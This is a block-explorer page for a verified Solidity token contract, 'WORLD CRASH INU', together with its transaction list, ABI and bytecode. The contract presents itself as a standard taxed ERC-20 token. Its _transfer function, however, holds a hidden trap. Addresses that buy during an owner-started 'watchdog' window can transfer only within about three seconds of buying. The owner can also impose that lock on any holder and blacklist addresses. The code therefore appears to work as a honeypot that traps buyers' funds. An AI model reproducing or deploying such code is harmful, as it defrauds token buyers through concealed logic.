Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 35 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 15749865 | 1262 days ago | IN | 0 ETH | 0.00103305 | ||||
| Renounce Ownersh... | 15749859 | 1262 days ago | IN | 0 ETH | 0.00040502 | ||||
| Approve | 15749857 | 1262 days ago | IN | 0 ETH | 0.00075165 | ||||
| Approve | 15749851 | 1262 days ago | IN | 0 ETH | 0.00084506 | ||||
| Approve | 15749833 | 1262 days ago | IN | 0 ETH | 0.00080929 | ||||
| Approve | 15749832 | 1262 days ago | IN | 0 ETH | 0.00072724 | ||||
| Approve | 15749827 | 1262 days ago | IN | 0 ETH | 0.00192024 | ||||
| Approve | 15749826 | 1262 days ago | IN | 0 ETH | 0.00090582 | ||||
| Approve | 15749826 | 1262 days ago | IN | 0 ETH | 0.0013772 | ||||
| Approve | 15749826 | 1262 days ago | IN | 0 ETH | 0.0013772 | ||||
| Approve | 15749826 | 1262 days ago | IN | 0 ETH | 0.0013772 | ||||
| Approve | 15749826 | 1262 days ago | IN | 0 ETH | 0.0013772 | ||||
| Approve | 15749826 | 1262 days ago | IN | 0 ETH | 0.0013772 | ||||
| Approve | 15749825 | 1262 days ago | IN | 0 ETH | 0.0008126 | ||||
| Approve | 15749825 | 1262 days ago | IN | 0 ETH | 0.0008126 | ||||
| Approve | 15749824 | 1262 days ago | IN | 0 ETH | 0.00049249 | ||||
| Approve | 15749824 | 1262 days ago | IN | 0 ETH | 0.0009938 | ||||
| Approve | 15749824 | 1262 days ago | IN | 0 ETH | 0.00100933 | ||||
| Approve | 15749824 | 1262 days ago | IN | 0 ETH | 0.00100933 | ||||
| Approve | 15749824 | 1262 days ago | IN | 0 ETH | 0.00100933 | ||||
| Approve | 15749824 | 1262 days ago | IN | 0 ETH | 0.00100933 | ||||
| Approve | 15749824 | 1262 days ago | IN | 0 ETH | 0.00100933 | ||||
| Approve | 15749824 | 1262 days ago | IN | 0 ETH | 0.00100933 | ||||
| Approve | 15749824 | 1262 days ago | IN | 0 ETH | 0.00141699 | ||||
| Approve | 15749824 | 1262 days ago | IN | 0 ETH | 0.00141699 |
Latest 8 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 15749853 | 1262 days ago | 0.00000174 ETH | ||||
| Transfer | 15749853 | 1262 days ago | 0.00000174 ETH | ||||
| Add Liquidity ET... | 15749853 | 1262 days ago | 0.00976133 ETH | ||||
| Transfer | 15749853 | 1262 days ago | 0.00976133 ETH | ||||
| Transfer | 15749853 | 1262 days ago | 0.01996675 ETH | ||||
| Transfer | 15749853 | 1262 days ago | 0.01996675 ETH | ||||
| Transfer | 15749853 | 1262 days ago | 0.01996675 ETH | ||||
| Transfer | 15749853 | 1262 days ago | 0.05990027 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
World
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-10-14
*/
// Are u ready for the crash?
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract World is Context, IERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromFee;
mapping (address => bool) public _isExcludedFromMaxBalance;
mapping (address => bool) public _isBlacklisted;
mapping (address => uint) public _degenSellTime;
uint public _fTimer;
uint private _wDuration = 180;
uint private _degenSellTimeOffset = 3;
uint8 private constant _decimals = 9;
uint256 private _tTotal = 100_000 * (10**_decimals);
uint256 private _swapThreshold = 200 * (10**_decimals);
uint256 public maxTxAmount = 2_000 * (10**_decimals);
uint256 public maxWallet = 2_000 * (10**_decimals);
string private constant _name = "WORLD CRASH INU";
string private constant _symbol = "WCI";
struct Tax{
uint8 operationTax;
uint8 marketingTax;
uint8 devTax;
uint8 lpTax;
}
struct TokensFromTax{
uint operationTokens;
uint marketingTokens;
uint devTokens;
uint lpTokens;
}
TokensFromTax public totalTokensFromTax;
Tax public buyTax = Tax(1,1,1,1);
Tax public sellTax = Tax(1,1,1,1);
address private operationWallet = 0xc4a399980532E322Fc900D272109ab3E82685c2A;
address private marketingWallet = 0xc4a399980532E322Fc900D272109ab3E82685c2A;
address private devWallet = 0xc4a399980532E322Fc900D272109ab3E82685c2A;
bool private swapping;
uint private _swapCooldown = 5;
uint private _lastSwap;
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor () {
_tOwned[_msgSender()] = _tTotal;
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
_approve(address(this), address(router), ~uint256(0));
_approve(owner(), address(router), ~uint256(0));
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet] = true;
_isExcludedFromFee[devWallet] = true;
_isExcludedFromMaxBalance[owner()] = true;
_isExcludedFromMaxBalance[address(this)] = true;
_isExcludedFromMaxBalance[pair] = true;
_isExcludedFromMaxBalance[marketingWallet] = true;
_isExcludedFromMaxBalance[devWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
// ================= ERC20 =============== //
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
receive() external payable {}
// ========================================== //
// ============ View Functions ============== //
function taxWallets() public view returns(address operation,address marketing,address developer){
return(operationWallet,marketingWallet,devWallet);
}
//======================================//
//============== Owner Functions ===========//
function owner_setExcludedFromFee(address account,bool isExcluded) public onlyOwner {
_isExcludedFromFee[account] = isExcluded;
}
function owner_setExcludedFromMaxBalance(address account,bool isExcluded) public onlyOwner {
_isExcludedFromMaxBalance[account] = isExcluded;
}
function owner_setBlacklisted(address account, bool isBlacklisted) public onlyOwner{
_isBlacklisted[account] = isBlacklisted;
}
function owner_setBulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{
for(uint256 i =0; i < accounts.length; i++){
_isBlacklisted[accounts[i]] = state;
}
}
function owner_setBuyTaxes(uint8 operationTax, uint8 marketingTax, uint8 devTax, uint8 lpTax) external onlyOwner{
uint tTax = operationTax + marketingTax + devTax + lpTax;
require(tTax <= 20, "Can't set tax too high");
buyTax = Tax(operationTax,marketingTax,devTax,lpTax);
emit TaxesChanged();
}
function owner_setSellTaxes(uint8 operationTax, uint8 marketingTax, uint8 devTax, uint8 lpTax) external onlyOwner{
uint tTax = operationTax + marketingTax + devTax + lpTax;
require(tTax <= 30, "Can't set tax too high");
sellTax = Tax(operationTax,marketingTax,devTax,lpTax);
emit TaxesChanged();
}
function owner_setTransferMaxes(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{
uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals);
require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings");
maxTxAmount = maxTX_EXACT * (10**_decimals);
maxWallet = maxWallet_EXACT * (10**_decimals);
}
function owner_setSwapAndLiquifySettings(uint swapthreshold_EXACT, uint swapCooldown_) public onlyOwner{
_swapThreshold = swapthreshold_EXACT * (10**_decimals);
_swapCooldown = swapCooldown_;
}
function owner_rescueBNB(uint256 weiAmount) public onlyOwner{
require(address(this).balance >= weiAmount, "Insufficient ETH balance");
payable(msg.sender).transfer(weiAmount);
}
function owner_rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount_EXACT, uint _decimal) public onlyOwner {
IERC20(_tokenAddr).transfer(_to, _amount_EXACT *10**_decimal);
}
function owner_setWallets( address newOperationWallet,address newMarketingWallet, address newDevWallet) public onlyOwner{
operationWallet = newOperationWallet;
marketingWallet = newMarketingWallet;
devWallet = newDevWallet;
}
function owner_initializeWatchDog() external onlyOwner{
_fTimer = block.timestamp + _wDuration;
}
function owner_setDegenSellTimeForAddress(address holder, uint dTime) external onlyOwner{
_degenSellTime[holder] = block.timestamp + dTime;
}
// ========================================//
function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
Tax memory tmpTaxes = buyTax;
if (isSell){
tmpTaxes = sellTax;
}
uint tokensForOperation = amount * tmpTaxes.operationTax / 100;
uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100;
uint tokensForDev = amount * tmpTaxes.devTax / 100;
uint tokensForLP = amount * tmpTaxes.lpTax / 100;
if(tokensForOperation > 0)
totalTokensFromTax.operationTokens += tokensForOperation;
if(tokensForMarketing > 0)
totalTokensFromTax.marketingTokens += tokensForMarketing;
if(tokensForDev > 0)
totalTokensFromTax.devTokens += tokensForDev;
if(tokensForLP > 0)
totalTokensFromTax.lpTokens += tokensForLP;
uint totalTaxedTokens = tokensForOperation + tokensForMarketing + tokensForDev + tokensForLP;
_tOwned[address(this)] += totalTaxedTokens;
if(totalTaxedTokens > 0)
emit Transfer (from, address(this), totalTaxedTokens);
return (amount - totalTaxedTokens);
}
function _transfer(address from,address to,uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");
require(!_isBlacklisted[from] && !_isBlacklisted[to], "Blacklisted, can't trade");
if(!_isExcludedFromMaxBalance[to])
require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWallet.");
if (balanceOf(address(this)) >= _swapThreshold && block.timestamp >= (_lastSwap + _swapCooldown) && !swapping && from != pair && from != owner() && to != owner())
swapAndLiquify();
_tOwned[from] -= amount;
uint256 transferAmount = amount;
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
transferAmount = _getTaxValues(amount, from, to == pair);
if (from == pair && _fTimer >= block.timestamp){
_degenSellTime[to] = block.timestamp + _degenSellTimeOffset;
}else{
if (_degenSellTime[from] != 0)
require(block.timestamp < _degenSellTime[from]);
}
}
_tOwned[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
function swapAndLiquify() private lockTheSwap{
uint256 totalTokensForSwap = totalTokensFromTax.operationTokens+totalTokensFromTax.marketingTokens+totalTokensFromTax.devTokens;
if(totalTokensForSwap > 0){
uint256 bnbSwapped = swapTokensForBNB(totalTokensForSwap);
uint256 bnbForOperation = bnbSwapped * totalTokensFromTax.operationTokens / totalTokensForSwap;
uint256 bnbForMarketing = bnbSwapped * totalTokensFromTax.marketingTokens / totalTokensForSwap;
uint256 bnbForDev = bnbSwapped * totalTokensFromTax.devTokens / totalTokensForSwap;
if(bnbForOperation > 0){
payable(operationWallet).transfer(bnbForOperation);
totalTokensFromTax.operationTokens = 0;
}
if(bnbForMarketing > 0){
payable(marketingWallet).transfer(bnbForMarketing);
totalTokensFromTax.marketingTokens = 0;
}
if(bnbForDev > 0){
payable(devWallet).transfer(bnbForDev);
totalTokensFromTax.devTokens = 0;
}
}
if(totalTokensFromTax.lpTokens > 0){
uint half = totalTokensFromTax.lpTokens / 2;
uint otherHalf = totalTokensFromTax.lpTokens - half;
uint balAutoLP = swapTokensForBNB(half);
if (balAutoLP > 0)
addLiquidity(otherHalf, balAutoLP);
totalTokensFromTax.lpTokens = 0;
}
emit SwapAndLiquify();
_lastSwap = block.timestamp;
}
function swapTokensForBNB(uint256 tokenAmount) private returns (uint256) {
uint256 initialBalance = address(this).balance;
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
// make the swap
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
return (address(this).balance - initialBalance);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(router), tokenAmount);
// add the liquidity
(,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
if (ethAmount - ethFromLiquidity > 0)
payable(marketingWallet).sendValue (ethAmount - ethFromLiquidity);
}
event SwapAndLiquify();
event TaxesChanged();
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_degenSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fTimer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"operationTax","type":"uint8"},{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"devTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner_initializeWatchDog","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount_EXACT","type":"uint256"},{"internalType":"uint256","name":"_decimal","type":"uint256"}],"name":"owner_rescueAnyBEP20Tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueBNB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"owner_setBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"owner_setBulkIsBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"operationTax","type":"uint8"},{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"devTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"owner_setDegenSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"owner_setExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"owner_setExcludedFromMaxBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"operationTax","type":"uint8"},{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"devTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapthreshold_EXACT","type":"uint256"},{"internalType":"uint256","name":"swapCooldown_","type":"uint256"}],"name":"owner_setSwapAndLiquifySettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTX_EXACT","type":"uint256"},{"internalType":"uint256","name":"maxWallet_EXACT","type":"uint256"}],"name":"owner_setTransferMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOperationWallet","type":"address"},{"internalType":"address","name":"newMarketingWallet","type":"address"},{"internalType":"address","name":"newDevWallet","type":"address"}],"name":"owner_setWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"operationTax","type":"uint8"},{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"devTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxWallets","outputs":[{"internalType":"address","name":"operation","type":"address"},{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"developer","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"operationTokens","type":"uint256"},{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"devTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
608060405260b4600a556003600b556009600a6200001e919062000ed1565b620186a06200002e919062000f22565b600c556009600a62000041919062000ed1565b60c86200004f919062000f22565b600d556009600a62000062919062000ed1565b6107d062000071919062000f22565b600e556009600a62000084919062000ed1565b6107d062000093919062000f22565b600f556040518060800160405280600160ff168152602001600160ff168152602001600160ff168152602001600160ff16815250601460008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff16021790555050506040518060800160405280600160ff168152602001600160ff168152602001600160ff168152602001600160ff16815250601560008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff160217905550505073c4a399980532e322fc900d272109ab3e82685c2a601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c4a399980532e322fc900d272109ab3e82685c2a601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c4a399980532e322fc900d272109ab3e82685c2a601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060056019553480156200031957600080fd5b506200033a6200032e62000a7160201b60201c565b62000a7960201b60201c565b600c54600360006200035162000a7160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003f6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041c919062000fd7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000484573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004aa919062000fd7565b6040518363ffffffff1660e01b8152600401620004c99291906200101a565b6020604051808303816000875af1158015620004e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200050f919062000fd7565b905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005ca30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660001962000b3d60201b60201c565b62000610620005de62000d0e60201b60201c565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660001962000b3d60201b60201c565b6001600560006200062662000d0e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000620007d962000d0e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000a0062000a7160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c5460405162000a61919062001058565b60405180910390a35050620011b6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000baf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ba690620010fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620